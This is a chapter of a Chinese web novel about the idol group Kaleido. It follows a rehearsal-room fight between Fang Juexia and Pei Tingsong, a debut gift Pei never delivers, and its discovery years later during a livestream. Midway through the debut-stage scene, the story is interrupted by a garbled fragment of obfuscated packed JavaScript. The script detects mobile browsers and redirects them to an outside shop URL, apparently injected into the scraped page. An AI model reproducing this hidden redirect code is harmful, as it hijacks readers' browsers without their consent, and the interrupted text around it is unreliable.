[你总有一天会变成我,你知道吗!变成我这样的废物。] 醒来后方觉夏还没回神,因为这些都真实得不像梦。 可能本来也不是,是发生过的历史和未来的预兆。 它们再一次对方觉夏发出警示: 你的人生容错率为零。 来不及吃午饭,他回到大练习室参加出道舞台的团体训练。 其他人都已到齐,二十分钟后裴听颂才姗姗来迟,进门后只说了句sorry便摇摇晃晃走到自己的站位。 没人说什么,江淼喊了开始。 和精准到找不出一丝错处的方觉夏正好相反,裴听颂状态不佳,dance break的抬腿动作做得很随意,根本没有抬起来,走位也不够迅速,差点摔倒。 大家只好重来,再重来,像个糟糕的冷笑话重复了许多次,气氛逐渐变得低气压,路远最难忍受这种氛围,只好开玩笑,“小裴的波棱盖很危险啊。” “远远你又在说方言了。”江淼笑着提醒。 贺子炎贱兮兮道:“请说普通话,你可是准爱豆了。” 最右边的凌一对着裴听颂的方向隔空挥了两拳,“小裴再错一会儿就请客吃披萨!” “好好好,我请客。”裴听颂拽了拽冷帽边缘,看上去有些没所谓,“再来一次吧。” 方觉夏一言不发,跟着音乐重新开始。谁知这次更糟,裴听颂走位后原本应该直接做地面动作,可他却忽然停下来,弯着腰两手撑住膝盖,叫了停。 所有人再次停下,江淼正要上前关心,却听见方觉夏先开了口。 还是极为少有的冷硬语气。 “不想练为什么要来?” 话音刚落,气氛瞬间降至冰点,江淼愣住,路远和凌一面面相觑,贺子炎则是看向裴听颂的方向。 裴听颂眉头皱起,仿佛怀疑自己听错了,“你说什么?” 方觉夏脸色前所未有的冷,面无表情。 “我说,不想练可以不用来,不想出道也不用勉强。” “你什么意思?”裴听颂语气也变了,“我是耽误你练舞了还是耽误你出道了?” “哎哎,差不多得了啊。”贺子炎上前试图拉住裴听颂,但根本拉不住,反而被甩开胳膊,眼看着暴脾气老幺逼近到方觉夏跟前。 两人的矛盾一触即发。 方觉夏头一次毫无避忌地直视裴听颂的眼睛,语气冷漠而直接,“不只是我,你在耽误所有人练习。” 裴听颂的脾气众人皆知,一点就炸,“你以为我就是想来这当什么爱豆吗?练什么练!” “所以呢?为什么要来?”方觉夏依旧针锋相对,“我还是那句话,不想练可以不来,别浪费所有人的时间,这个世界不是围着你一个人转的。” 其他人都上前试图拉开两人,但裴听颂已经先一步动了手,“你他妈知道什么?” 撕扯间方觉夏尝到嘴里的血腥味,不止为何,他竟产生出一丝发泄后的畅快感,但也分不清此刻义正言辞的他是在怪裴听颂,还是在怪自己。 耽误练习的是裴听颂,但有可能耽误所有人出道的,大概率是自己。 盯着方觉夏漠然到极致的脸,裴听颂终于失控,脱口而出的话根本不经过大脑。 “我跟你这种费尽心思想上位的人没什么话好说的。” 江淼高声喝止,“小裴你胡说什么!” 方觉夏的太阳穴跳了跳,应激似的猛地攥住裴听颂的衣领。 所有人都以为他要挥拳揍上去。 但他最后什么都没做,只是顿住了,两秒后笑了出来。 原来这就是裴听颂讨厌他的缘由。 也是,连自己的队友都是如此,更何况是那些看客。 可他实在是太累了,累到不想解释,解释是这个世界上最无用的事。 人们只想看到他们想看的。 方觉夏只能做个清醒的旁观者,眼睁睁注视着自己在黑色的旋涡中越陷越深。 队友们慌乱地拉架、劝和,场面难堪又一发不可收拾,困在风暴中心的他却从愤怒中猛然抽离,敛去笑意,眼神平静得一片冰湖。 “听说你想当嘻哈歌手。” 裴听颂怔了怔。 “所以这算是你的梦想?”方觉夏仍旧望着他,语气很轻,嘴角残留着血。 他没有得到回答,但其实也不需要答案,他清楚裴听颂看不起偶像这条路,也同样看不起谣言缠身的自己。 “梦想这种东西没有高低贵贱,只有能实现和不能实现。”方觉夏松开抓住裴听颂衣领的手,“我跟你这种幼稚还带着偏见的人,也没什么好说的。” 说完他拿走外套离开了练习室,独自一人下楼来到公司后面的体育场。 一群高中生正打着球,他踱步到长椅上坐下,望着他们出神。 一场球还没看完,他便听见贺子炎的声音。 “就知道你在这儿,怎么不上场?” “他们今天不缺人。”方觉夏轻声道。 这里几乎每天都有人,每当压力大到难以排解的时候,方觉夏就会来这里,和这些学生打打球。 由于他上场常常会导致队伍的实力不平衡,所以也不是每次都有机会当援军。 “我还是头一次见你发火,没想到啊,兔子也有被逼急的时候。” 贺子炎递给他一罐冰可乐,“敷一下脸,没破吧?” 方觉夏接过来,摇了头。 贺子炎挨着他坐下,两手插在口袋里,用肩膀撞了撞他的,声音带着笑,“还生气呢?” 方觉夏张了张嘴,可又没说什么,白色雾气缭绕,顷刻间又消散。 贺子炎也没逼他,陪着看了会儿球。他们望着这些肆意疯闹、大笑的学生,一时间都有些晃神。 “其实他也就跟他们一样大,十七岁嘛,还是小孩儿。” 方觉夏当然知道贺子炎说的“他”是谁,但他装作不知道。 “而且小裴今天确实不是故意的,他前段时间练舞腿受伤了。”贺子炎掏出手机,翻出一个视频给方觉夏看。 视频里裴听颂坐在理疗室的床上,正在针灸。他似乎挺怕中医手里的针,扎的时候头扭到一边不敢看。 的确是个小孩子。 “你别看他平时满不在乎,一副少爷样儿,其实私底下也背着咱们偷偷练着呢。前段时间他白天准备考试,晚上在他家那边的练舞室一练就是一通宵,结果练过劲儿了,腿都抬不起来,给我打电话,我就带他去看老中医呗。” 这些裴听颂从来不愿意说,他的骄傲和自尊总让他言不由衷。 “他也知道自己是空降兵,怕拖咱们后腿,但舞蹈基础确实是一点没有,从零开始还是太难了。” 视频还在播放,镜头里的裴听颂面对针灸,表情生动得一点也不像平时只会装酷的他,嘴里还问着,“火哥,你们练习强度那么大,怎么都没像我这样啊。”举着手机的贺子炎笑了,“这你得问觉夏啊,论强度谁赶得上他。” 听到他的名字,裴听颂忽然就不吭声了,好像也不怕针了,看起来闷闷的,别过脸去不再看镜头。 方觉夏缓慢眨了下眼,心也变得闷闷的。 果然是非常非常讨厌我,他想。 “别跟他置气,那些话你也别往心里去,这小子跟我也这样,说话专往人痛处戳。给彼此一点时间吧,很多东西都会不攻自破的。” 贺子炎说着,揽住他的肩,语气柔和,“觉夏,你已经做得非常好了,别给自己太大压力,你想啊,要没有你,大家能不能熬到出道还不一定呢。” 方觉夏扭头看向他,眼眶被风吹得发涩,沉默良久,最后只吐出谢谢两个字。 “别,最怕别人谢我。”贺子炎手机屏幕顶端弹出新的消息,他瞟了一眼来信人便立刻拿回来自己看。 但方觉夏还是不小心瞥到那人的备注——1221,后面还跟着一个emoji表情,是一幢小房子。 贺子炎低着头,快速回了消息,手机屏幕把他的面孔照得很亮。 方觉夏发现,他现在的笑容和方才对着自己时很不一样。 “回吧我们,冻死了。” 说完贺子炎站起来,小声自言自语了一句,“这家离了我俩可怎么办。” 我俩。 方觉夏在心里默默复述了一遍重点词汇,已经猜到这个奇怪备注的拥有者是谁,但他参不透这几个数字的含义。 12.21,也不是队长的生日…… 没想通,他也没有和贺子炎一起回公司,找了个借口跑去药店。 听贺子炎描述的样子,方觉夏分析裴听颂跳舞发力大概有问题,不知道他愿不愿意接受指导。肌肉拉伤的痛他最熟悉,严重了会留下病根,不是小事。 他买了自己常用的止痛贴和活络油,想着必要时可以帮着揉一揉,于是在心里反复斟酌如何开口。 这很难。他甚至一度想上网搜索[如何和讨厌自己的叛逆男高中生沟通],以免发生新的摩擦。 还没来得及向网络好心人求助,方觉夏就和叛逆男高狭路相逢。 对方正从公司楼下的便利店出来,手里拎着一袋东西,走路姿势看上去不太利索。 好巧不巧,他也正好回头。两人猝不及防对上视线。 这一瞬间方觉夏想到很多,比如和裴听颂见面的第一眼,当时对他的印象是眉眼好看,个子很高,身上洋溢着不在东亚长大的松弛与自由。 很快他也想到裴听颂的每一次视而不见,想到他听到别人提及他名字时的沉默,最后开始想象他独自一人偷偷练习的画面。 被误解时应该很难受吧?所以才会捡最难听的话来说。 方觉夏不喜欢这样,他基于偏见,狭隘地给他人下了定义,认定裴听颂根本不在乎、也瞧不起他们的梦想,亲手点燃导火索。 实在是很糟糕。 无论对方讨不讨厌自己,都不应该曲解他人。 只是每次面对裴听颂,他都有种无从下手的慌乱,不知如何是好。 两个人几乎是在冷风中静默了一分钟之久。 裴听颂盯着方觉夏那张冷淡的脸,心里直打鼓,怀疑江淼给出的方案是否可行。 自己听了他的话一瘸一拐跑下来买啤酒,可不是想在这儿看着方觉夏的冷脸喝西北风的。 其实他也知道自己做错了事,就算江淼不为方觉夏解释,裴听颂也并没有真的相信那些谣言,只是因为生气,故意拿这些刺激方觉夏。 这事儿做得实在是太差劲,裴听颂心说。 他在便利店演练了许多次开场白,连结账时都在发呆,可面对方觉夏,一切又如鲠在喉。 到现在裴听颂都想不通,为什么每次看到方觉夏都心烦意乱,失去理智。 他本来以为是讨厌。 不对,就是讨厌。裴听颂对自己重申,他就是不喜欢方觉夏。 正想着,方觉夏忽然朝他走近。 等等,要说点什么? What’up?你干嘛去了?你去药店了?是我下手太重了吗?要不要去医院啊?要不你打我一拳吧,我知道错了…… 不行不行。 好像都不行。 原以为方觉夏会直接无视他的存在,和以前一样,没想到他竟然停了下来,看着他开了口,“你……” 裴听颂呼出一口气。 他先说话了,果然他是在乎我的。队长说得没错,他要主动和我道歉了,好,接下来只需要喝点酒把所有事聊开就可以做朋友了…… “你买酒了?”方觉夏忽然定住步子,紧盯他手里满满一袋啤酒,皱了眉。 “啊?啊,对。”裴听颂有些卡壳。 方觉夏的视线从酒移向他的脸,严肃道:“你还未成年,不能买酒,也不能喝酒。” 裴听颂的脸瞬间垮了下来,一副穿着新的白球鞋被人踩了一脚的表情,愣了好几秒,带着气扭头就走了。 当然,他还是一瘸一拐的,连背影都透着一股别扭劲儿。 方觉夏愣在原地。 说错话了吗? 现在搜索教程显然已经来不及了。 但他大概率可以提供一个有关如何激怒男高中生的真实案例。 止痛贴和活络油没能送出去,方觉夏内疚了一段时间,但他想裴听颂大概也不缺这些,也就不再纠结。 好在他们的关系也没再继续恶化下去,依旧是可以维持表面和平的“陌生队友”。 方觉夏早已从童年经历中修炼出永远只往前看的本领。 这是他最擅长的自卫手段。 但裴听颂没有,他的记忆总会反刍,某个瞬间眼前会出现方觉夏听见他说“上位”两个字的表情。 他也总在后悔自己不应该在便利店门口转头就跑。 这渐渐变成一个心结,以至于当他听到任何人提起方觉夏潜规则的事,都会冒出一股无名火。 出道在即,他却始终没能找到一个合适的时机再次破冰。 某一天的凌晨,裴听颂睡不着,难得主动地和远在大洋彼岸的亲姐姐Chole打了通视频电话。 对方正忙着工作,并没有太多心思和并不乖巧的弟弟东拉西扯,直到裴听颂提出一个前所未有的问题,Chole才产生兴趣。 “我有一个朋友,他想和一个完全不想看到他的人道歉,怎么办?” “你都有朋友了?” “我……什么鬼?我怎么就没朋友了?”裴听颂差点被带跑,“不是,你还没回答我的问题呢,我朋友很急。” Chloe在电话那头冷笑一声,“哦,看来你这位朋友脾气不太好。” 裴听颂强忍着想要骂人的心情,从牙关里挤出几个字,“你别管他了,快说怎么办。” “道歉还不简单?请他吃个饭,坐下来聊一聊,送件他喜欢的礼物。”Chloe签了几份文件,交到助理手中,“礼物会挑吗?我直接给你买吧。” 说着她便干脆利落地发给裴听颂一张自己常用的PR礼物表,“看上哪个就说,我让助理买过去。” 裴听颂瞟了一眼最末尾一列的价格表,两眼一抹黑,这种典型的拿钱砸人的手段绝对行不通,被砸死的只有自己,凶器还是亲姐搬起来的石头。 “得了,我自己看着办吧。”裴听颂又有些不放心,“关键是我拿什么由头送呢?” “这还不简单?你们不是马上要出道了?” “你真是个天才!” “谢谢,一直都是。”Chloe确认了备忘录上的日期,“亲爱的弟弟,你还有一周时间,加油吧。” 直到挂完电话,裴听颂也丝毫没有发现自己早已露馅,而是完全投入到挑选礼物的新任务当中,心情激动堪比第一次玩游戏机的小男孩。 但即便有了合理的时机,也挑好了礼物,裴听颂依旧很不自在。 他总对着精美的盒子发呆,总觉得店员包得并不好,于是全部拆掉,自己买了更好的包装纸重包,还在半夜睡不着的时候爬起来写卡片,从一开始的[对不起请你原谅我]到正反两页A4纸的长篇大论,最后又全部揉掉重新写回[对不起请你原谅我]。 我有病吧? 裴听颂看了一眼不知不觉泛白的天际线,很懵。 很快他又看回桌上的礼物,脑子里不自觉联想出方觉夏收到时讶异又困扰的表情。 他不会被吓跑吧? 怎样才能不显得我偷偷摸摸的? 他不会觉得我有病吧? 不行。 12月23日,在距离出道日只剩下短短一天时,裴听颂彻底推翻之前的计划。 他花了一上午时间,外出给全团每一个人都买了出道礼物。 “就这些是吗?”店员热络地对他解释圣诞节的各种活动,“您喜欢怎么包装呢?我们有圣诞限定的礼物盒哦。” “都可以,你看着办吧。”裴听颂困到在贵宾室灌了三杯意式浓缩,但一坐到沙发上还是秒睡。 出道前夜,这位尚未成年的圣诞老人背着一背包标好名字的礼物溜进练习室,打算趁没人在的时候悄悄放下。 谁知刚推开门,自己就被喷了一身的彩带和亮片,整个懵在原地。 黑漆漆的练习室瞬间亮灯,一群不知哪儿跳出来的人将他围住,助理小文站在一大堆克莱因蓝的气球里笑着大喊“Surprise!”。 裴听颂愣愣地摘掉脸上的彩带。 音响此刻非常适时地开始播放“等了好久终于等到今天”的怀旧歌曲。 “搞什么啊?”他一脸莫名。 程羌指了指练习镜上贴着的[恭喜Kaleido出道]的字样,“这可是我们一大早准备的,惊不惊喜,意不意外?” 裴听颂啧了一声,低头拍着身上的亮片,“怪不得昨天晚上就说练习室灯坏了,真没创意……” “你这小白眼狼!” “他们人呢?”裴听颂环顾四周,搜寻队友们的身影,“都还没来?” “你是第一个。”小文小声补充,“头一次第一个来。” “喂。”裴听颂扯了扯嘴角,“这句话可以不用说。” “你怎么背这么大一包啊。”程羌伸手想替他拿,没想到裴听颂往后一退,连连说了好多个“不用”,自己护住了背包。 真是奇怪,小少爷还有这么客气的时候。 就这样,裴听颂在镜子前抱着大书包乖乖坐着,等着其他成员一个接着一个进来,重复他之前接受的惊喜仪式的洗礼。 这样正好,来一个他给一个礼物,气氛绝佳,毫无负担。 同样的流程他已经走了四次,每个人收到他的礼物都非常开心,毫不吝啬对他的夸奖,裴听颂的自我感觉逐步攀升,越来越良好。 只需要等方觉夏出现,重复以上动作,然后在他拆礼物的时候说出准备好的话,一切就大功告成。 [对不起,上次是我不对。 这是送你的礼物。 出道快乐。] 只要说完这些,他就再也不用怀抱愧疚心和方觉夏别扭相处,不用每天想着脱口而出的错误,不用为他的沉默而怒其不争,可以做回以前那个随心所欲的裴听颂,做爱豆就做爱豆,哪天不想干了也可以毫无负担地甩手走人。 幻想是美好的。 可惜裴听颂并没有等到那个人出现,一整晚都没有,惊喜派对从热烈回归寂寥,练习室从塞得满满当当到空空荡荡,方觉夏始终没有出现。 裴听颂感觉自己成了参加成人礼派对却始终没等到女伴的书呆子,眼巴巴看着所有人在舞池里跳舞。 这太恐怖了,他从来都是最受欢迎的那一个,怎么堕落成这样。 “小裴回去吗?我送你?”程羌陪着他一起下楼。 裴听颂拒绝了,他张了张嘴,想问方觉夏为什么没来,但最终还是没开口。 “我自己回去。” 路上裴听颂忍不住通过微信群添加方觉夏的个人微信,半小时也没通过,裴听颂彻底急了。 搞什么? 明天就出道了,今天连他微信都不想加吗? 真就讨厌他到这种地步? 一番思想斗争之下,裴听颂还是忍不住找凌一要了方觉夏的电话,不幸的是,无论他拨打多少次,对方都没有接。 于是他气急败坏地回到公寓,将自己包得乱七八糟的礼物狠狠扔进书房的垃圾桶,砸门回到卧室,闷头睡觉。 他要一觉睡到明天出道舞台开始,其他什么都不干。 什么方觉夏,什么道歉,什么朋友,全都去他妈的。 凌晨五点,助理就敲开他家的门,起床、换衣服、做妆发,裴听颂并没能睡个安稳觉。出门前最后一秒,他把礼物盒从空的垃圾桶里拿出来扔进抽屉,然后浑身低气压地出门,一路上谁也不搭理。 各个部门协调统筹,各种角度的镜头疯狂移动,忙碌的身影,炫目的舞台光,无数个日夜交叠出的终曲终于奏响。 兵荒马乱的后台,裴听颂站在彩排过无数次的升降台下候场。 这里灯光很微弱,黑暗让人心情愈发糟糕。 冥冥之中好像有某种感应,裴听颂抬起头,等了很久的那个人忽然出现,径直朝他走来。 裴听颂极力劝自己忍住。 人都不想搭理你,干嘛管他。 别看他,别过去,别问话,就这样吧。 Fuck. 他终究没忍住,上前想问个清楚。 为什么昨天消失了,为什么不接他电话,在做什么? 但裴听颂只张了张嘴,什么都来不及说,因为方觉夏对他的存在视若无睹。 他就这样轻而易举、毫无留恋地离开了,朝他该去的站位走去。 很多种情绪在极短的时间里挤入心脏,挤得他很痛。 裴听颂站在原地,愣了好久,直到贺子炎走过来,和他说了很多话,但他一句也没听进去。 贺子炎后来也没再继续,就在他旁边,拿手机拍了一张江淼的背影,被凌一看了个正着。 “火火居然还没交手机!” 声音很大,不远处的江淼也回了头,但他似乎没听到内容,叫了其他所有成员一起过来,率先伸出一只手,“咱们一起打个气?” “好!”凌一眼疾手快把手放上去,但被贺子炎拍开,“你火哥还没放呢,有没有礼貌?” “淼淼他打我!” 路远把凌一不安分的手按住放在贺子炎手背上,也顺便摁住他的手背,“赶紧的,一会儿上场了!” 说完他看向方觉夏,“觉夏,来!” “嗯。”方觉夏将手放在路远手上。 “觉夏手可真热乎,我快冻死了。”路远说。 最后自然是裴听颂,他强撑出满不在乎的表情,也并不想碰方觉夏。 “几岁了还玩这个?幼不幼稚。” “哎呀你急死我了!”凌一一把拽住他,强行抓他的手摁在方觉夏手背上。 裴听颂愣了一秒。 这是他第一次感受方觉夏的体温。 很烫。 原来他不是冷冰冰的。 但这交叠过分短暂,他们被牵着走,在一二三加油的口号喊出后便摇晃着松开,方觉夏转身走到自己应在的位子,精准到像是被设定好的机器。 倒计时开始,舞台上方已经传来熟悉的古筝曲,耳返里充斥着节拍器和导播的声音。他们为此训练过无数次。 裴听颂低头看了一眼自己的手心,摊开后握紧,心跳加速。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727043|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从这一秒开始,他好像真的要步入新的人生。 混乱的十七岁,有叛逆,有愤懑,也有年少轻狂后的懊悔与无措。 倒计时开始之后,命运打开新的闸门,洪流涌入,一切陷入一场如万花筒迷幻的漩涡中,不受控,也都不重要了。 升降台缓缓上升,追光下,裴听颂不由自主看向最中心那个漂亮得不像话的家伙。 他忽然就泄了气,竟然开始想象方觉夏此时此刻的心情。 这并不是一个好的预兆。 今天就算了。 明天再继续讨厌他吧。 追光下,方觉夏下意识向右望了一眼,他也没反应过来自己为什么要这样,潜意识好像在找谁的身影。 茫茫黑暗中,他的视力忽然间变得极好,仿佛能清楚地看见裴听颂不驯的眉眼。 今天的他看起来好像也没那么讨厌了。 不知道腿伤怎么样?撑得下来吗? 明天找个机会问问吧? 场地很小,粉丝也不多,置身于冷嘲热讽的莫大声浪中,这六个人依旧拼尽全力给一个完美的出道舞台。 练习过无数次打招呼,这一次最大声。 “大家好!我们是——Kaleido!” · 盯着视频中那个腼腆的自己,方觉夏有些出神,已经忘了是在直播,直到身旁的江淼笑道:“我们五年前连打招呼都有点结巴呢,是吧觉夏?” 他这才回神,点点头,“对啊,我当时状态不好,把之前准备好的自我介绍都忘了,当时是临时发挥的,说得不太好。” [怪不得感觉jxgg当时异常紧张哈哈哈] [呜呜呜一转眼都出道五年了,好怀念宝宝们的新人时期] [觉夏出道的时候就已经是惊为天人的美貌了!] [诶火哥怎么就开播露了个面,人呢?] “他说是要去找自己出道那天穿的球鞋来着。”江淼看到了关于贺子炎的弹幕,解释说,“那是他当时自己DIY的,想展示给大家看吧。” 说完他自己笑了笑,低声吐槽了一句“小显眼包。” [啊怎么会这么宠] [老天我第一次听到有人这么叫火哥] [觉夏听到这句都挑了一下眉诶,队友也受不了你们xql一点儿] “所以出道的东西他还都留着?”方觉夏问。 “留着是留着,谁知道能不能找到呢?都这么久了,估计已经把他和小裴的房间翻了个遍了。” [出道五周年直播做出道舞台的reaction真的很有感触吧,现在回头看那一天有没有觉得特别遗憾的部分呢?] 正在读评论的江淼看到这条评论,复述一遍后认真思考起来,“其实是有的,我当时还不能像现在这样可以比较轻松地代表团队发言,节奏上也有很大问题,后面专门练习了很多次。” [淼淼就是世界上最负责的小队!] 方觉夏趴在桌上,眼睛望着江淼,嘴角抿开笑意,“反正我是最怕拿话筒的,能给队长就赶紧给队长。” “我一直想说,话筒是烫手吗觉夏?”江淼也看向他,顺手替他整理了一下刘海。 [哈哈哈哈话筒杀门面事件] [觉夏真的永远在听别人发言] “挺烫的。”方觉夏耸耸肩。 [呜呜呜美人组也好好磕] [楼上,rapline is watching you] 江淼想到什么,又开口道:“其实就在出道日前一天,觉夏突然发高烧。当时他谁也没说,就怕影响大家,自己一个人跑去门诊打点滴,从医院直接去了舞台现场,还是我后来下台发现他直冒冷汗,左手手背发青,才逼问出来了,当时觉夏还要求我保密,不告诉其他人,都烧到39度了,我都不知道他是怎么撑下来的。” [天哪,完全看不出来,39度还做得那么好呜呜] [觉夏真的太能扛了] [要不是小队,就觉夏的性格估计一辈子都不会说的] “其实还好。”方觉夏并不想让粉丝担心,语气云淡风轻,“老实说我已经不记得当时的状况了,所有动作都是跟着肌肉记忆做下来的,可能稍微有点体力不支。” [所以这也算是觉夏出道日的小遗憾吧,要是健康地完成舞台就不会这么辛苦了。] 不断弹出的弹幕里,方觉夏掐巧捕捉到这一条,眼神变得柔软。 “要说遗憾的话……确实是有的,只是和出道舞台无关了。” 隔壁忽然传来很大的动静,江淼和方觉夏同一时间朝声音的源头望去。 [我怎么好像听到小裴在大叫,是我听错了吗?] [不你没有,确实是裴小虎在打鸣] [卡团是真的吵] [最安静的两个搁这直播呢] “我去看看。”方觉夏站起来,离开卧室走到隔壁。才刚到门口,他就听到裴听颂和贺子炎的争吵声。 “还给我!” “什么玩意儿这么稀罕,快给你哥我看看!” “看你大爷!” “哎哟这谁包的啊这么难看,还弄一蓝色小爱心的包装纸呢。你看着这纸都散开了,这可不是我动的手。” “贺子炎你敢拆我杀了你!” “好好好,这么对你火哥是吧,我还非得拆开了。” “你拆了你就活不过今天!” 是不是吵得太厉害了…… 尽管劝架是他最不擅长的事,但方觉夏还是勇敢地打开了修罗场的大门。 很合时宜地,一个东西砸到他脚边,正是贺子炎口中蓝色小爱心包装的礼物盒。 他没说谎,礼物盒的确已经破掉,包装纸的缝隙里掉出一张卡片,上面是他再熟悉不过的字迹。 【TO方觉夏】 在他不小心将这几个字念出声后,整个房间陷入诡异的寂静中。三人面面相觑,表情各异。 第一个反应过来的是贺子炎,他一拍脑门,低声骂了一句,“草,我就知道……” 面对裴听颂他举起双手,一脸你看着办的表情,“我走了,拜拜。” 要是眼神可以杀人,贺子炎现在已经在被鞭尸的流程中了。 等他一走,裴听颂一气呵成地拉方觉夏进来、关门、反锁,还想趁他不备把那个尘封多年的礼物一脚踹到角落去。 但很可惜,方觉夏已经先一步捡了起来。 “给我的?”他晃了晃手里的礼物盒,眼底的笑意闪烁着些许狡黠,“是什么?” “没什么。”裴听颂伸手想抢,但方觉夏伸高了手,没让他得逞。 “觉夏……”硬的不行,裴听颂只好使出撒娇的手段,“能不能别这么好奇,还给我吧。” “你越这样我越好奇了。”现在的方觉夏非常擅长以其人之道还治其人之身,仰着脸专注地望着裴听颂,语气带了不易察觉的小尾音,“能不能让我看?嗯?” 裴听颂最终败下阵来,丧气地蹲在方觉夏面前,垂着头闷声道:“看看看,本来也是给你的。” 这一句他说得很小声。 于是方觉夏也蹲下来,“那我拆啦?” “嗯。”裴听颂不自然地抓了抓后脑勺的头发,盯着方觉夏拆礼物,“包得真的很难看吗?” 方觉夏动作一顿,“不难看啊。”他指了指包装纸,眼神真挚,“蓝色很好看,小爱心也很可爱。” 这样生疏的手法,一看就是裴听颂自己包的。 “哦。”裴听颂没说什么,默默盯着。 “什么时候准备的?为什么不给我看?”方觉夏觉得奇怪,他们在一起之后,互相都给彼此送了很多大大小小的礼物,他不明白为什么单单藏着这一个。 拿出里面的盒子,他光是看到上面的品牌就知道有多贵。 “嗯……”裴听颂深吸一口气,“五年前。” 方觉夏忽然抬头,满脸讶异,“什么?” 裴听颂有些气急败坏,干脆一股脑倒豆子似的倒出来,“就是出道的时候给你买的,想送给你当出道礼物,结果没找到合适的时机,你……你不在,我就一直没送出去。” 这个礼物已经成为他难以释怀的心结,即便后来和方觉夏成为恋人,他都无法开口提及,也做不到丢弃,只好藏起来。 有时候偶尔想到,他还会故意对方觉夏开一些恶劣的小玩笑,替当初心碎的自己找回一些慰藉。 的确是非常幼稚的行为。 方觉夏回忆了一下,忽然想起来什么,“对哦,你好像确实给大家送了礼物,我记得凌一的是一副很贵的墨镜……” 裴听颂赶紧撇清,“也没有很贵。” “远远和子炎都收到了球鞋,淼哥我记得是头戴式耳机,他现在还一直在用。” 细数完其他队友收到的礼物,方觉夏低头望着这个小小的礼物盒,觉得不可思议,“原来我也有啊。” 不知为何,心里某一处柔软的小角落好像轻轻陷了下去,他小声重复,“我也有礼物。” “你当然有。”裴听颂脱口而出。 要不是你,他们也不会有。 方觉夏抬头望着他笑,“我以为没有的。” 他当初发现每个人都有,还支支吾吾不敢告诉他,还以为是小少爷捉弄他的小把戏。 “那你当时很难过吧?”听到他能清楚说出每个人收到的出道礼物时,裴听颂就莫名为此心疼,忍不住捏了捏他的脸。 “还好。”方觉夏笑得单纯,“意料之中,我当时知道你不喜欢我。” “谁说的,我喜欢你。”裴听颂立刻反驳,亲了亲他的嘴唇,抵着他鼻尖低声说,“最喜欢你了。” “我知道,我说以前嘛。”方觉夏也吻了他。 他低头打开礼物盒,里面是一只男士腕表,铂金表带配冰川蓝表盘,表盘下端有一块银白色镶钻月相盘。 “你疯了?买这么贵的表送我?”方觉夏想不通,那个时候他们的关系明明很恶劣。 到底怎么想的?有钱人也不会这么嚯嚯吧? 他伸手摸了裴听颂的额头,怀疑当时发烧的人不是自己。 “你没病吧?” 裴听颂立即反驳,“当然没病了!我好得很。” “当时挑了好多都不满意,看到这个突然就觉得,就是它了。” 他拉下方觉夏的手,亲了亲,“而且这已经不贵了,我姐想买的更贵。” “可怕的资本家。”方觉夏摇了摇头。 “我可不是资本家,我是勤勤恳恳打工人。”裴听颂强调。 “是啊,出道的时候还未满18岁的童工。” “什么童工啊?能不能不要总拿年龄说事了哥哥?” 尽管已经过去五年,但再次看见这块表,裴听颂好像又被拉回到懵懂别扭的少年时代。 他曾在深夜反复盯着这块表看,也许多次想象过方觉夏打开礼物盒的表情,想象他戴上的模样。 事实上,当初的裴听颂想象不出那会是什么样,因为那时候的方觉夏从没有对他笑过,甚至不会注视他的眼睛。 他没想过会有今天。 “喜欢吗?”裴听颂问。 方觉夏点头,“嗯,为什么要送我手表?” “嗯……”裴听颂低头捏着方觉夏的手指,说话的语气变得少了些底气,但眼神柔和了许多。“我有时候会观察你,我发现你很守时,而且你总是下意识仰头去看练习室的钟。” 偶尔他会看见方觉夏坐在地板上,回头去看墙上的钟,脖颈的线条很好看,带着一层薄薄的汗,在练习室的灯光下微微发着光。 也不知道怎么了,裴听颂总会记得这些很不起眼的细节,全都历历在目。 “你喜欢欢盯着数字,墙上的、书上的,文件上的,我记得有一次上声乐课,你迟到了两分钟,然后一直道歉,结束那节课之后你脸上的表情还是会很愧疚。” “所以我觉得……你大概会喜欢表吧,你戴上应该也很好看。”裴听颂说完,很不自然地摸了摸后脑勺,有些丧气地将自己方才的一番话全盘否定,“谁知道我当时都在想什么……” 这些话远远超出方觉夏的意料。 被裴听颂厌恶,说不难过是假的,如果真的没感觉,他不会下意识避开他,不会在后来公司要求组cp之后那么抗拒。 方觉夏从来都清楚裴听颂对他的态度,只是他改变不了裴听颂,只能改变自己。 他努力剪掉不必要的枝桠,努力向上攀爬,尽力避免产生情感上的关联,活得冷漠一些。 原来事实并非如此,从一开始就存在偏差。 回忆里的细枝末节逐渐复原,回到出道前,昏暗的后台,他隐约看到了一个身影,但当时的自己高热未退,又因为夜盲看不真切,还以为是错觉。 真实的裴听颂永远是骄傲的、反叛的,笑得张扬,从不正眼看他。 可黑暗中的那个人局促不安,笔直看向他,好像变成了另一个人。 怎么会不是错觉? 方觉夏觉得自己是烧糊涂了,只是一瞥,而后径直走到待机的升降台位置。 原来他们错过这么多次。 “对不起。”方觉夏忽然拥住了裴听颂,好像在拥抱当时那个少年。 裴听颂有些愣神,伸出手轻轻抚摸他的后背,揉了揉他的后颈,“怎么突然道歉,是我的问题才对。” 他一下一下亲吻方觉夏的头发,“你说,要是当初我把礼物送给你了,我们会不会开始得更早一点?” 方觉夏窝在他怀里笑了,鼻腔里发出一声轻哼,没说话。 “笑什么?” “没什么。” “好了我知道了。”裴听颂故意说,“太早不行,我那个时候还是个危险还讨人厌的teenager,我替你说行了吧?” “我可没这么说。”方觉夏抬起头,两只手捧着他的脸,在左边脸亲了一下,又换右边亲了一下,“不讨厌,很可爱。” “可爱什么啊可爱,别胡说。”裴听颂嘴上这么说,却把额头抵过去示意让他亲。 方觉夏当然照做了,在他的额头上印上一吻,语气轻快,“看在你这么可爱的份上,再给你一次机会吧。” 他拉开袖子,朝裴听颂伸出手腕,晃了晃,示意他为自己戴上手表。 裴听颂有些恍惚,拿出手表小心地为他戴上,卡扣咔哒声响起。兜兜转转五年,他竟然可以完成年少时的小小心愿。 他甚至得到了更多。 “你不说点什么吗?”方觉夏望着他笑。 裴听颂也笑了,挑了挑眉,“嫁给我?” “喂。” 